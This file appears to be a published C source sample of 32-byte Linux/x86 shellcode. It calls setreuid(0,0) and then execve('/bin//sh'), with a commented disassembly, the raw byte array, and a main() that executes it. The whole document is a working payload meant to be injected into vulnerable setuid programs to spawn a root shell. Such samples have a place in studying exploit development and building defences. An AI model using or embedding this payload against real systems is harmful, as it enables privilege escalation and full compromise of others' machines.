/* * bunker_sc1.c V1.4 - Mon Mar 20 18:49:00 CET 2006 * * Short (9 + 23 = 32 bytes) linux/x86 shellcode * setreuid(0, 0) + execve("/bin//sh", "[/bin//sh]", NULL); * * bunker - http://rawlab.mindcreations.com * 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2 * * setreuid(0, 0); * 00000000 6a46 push byte +0x46 * 00000002 58 pop eax * 00000003 31db xor ebx,ebx * 00000005 31c9 xor ecx,ecx * 00000007 cd80 int 0x80 * * execve("/bin//sh", ["/bin//sh"], NULL); * 00000009 6a0b push byte +0xb * 0000000b 58 pop eax * 0000000c 99 cdq * 0000000d 52 push edx * 0000000e 682f2f7368 push dword 0x68732f2f * 00000013 682f62696e push dword 0x6e69622f * 00000018 89e3 mov ebx,esp * 0000001a 52 push edx * 0000001b 53 push ebx * 0000001c 89e1 mov ecx,esp * 0000001e cd80 int 0x80 */ char sc[]= "\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\x6a\x0b\x58" "\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x52\x53\x89\xe1\xcd\x80"; main() { int(*f)()=(int(*)())sc;f(); }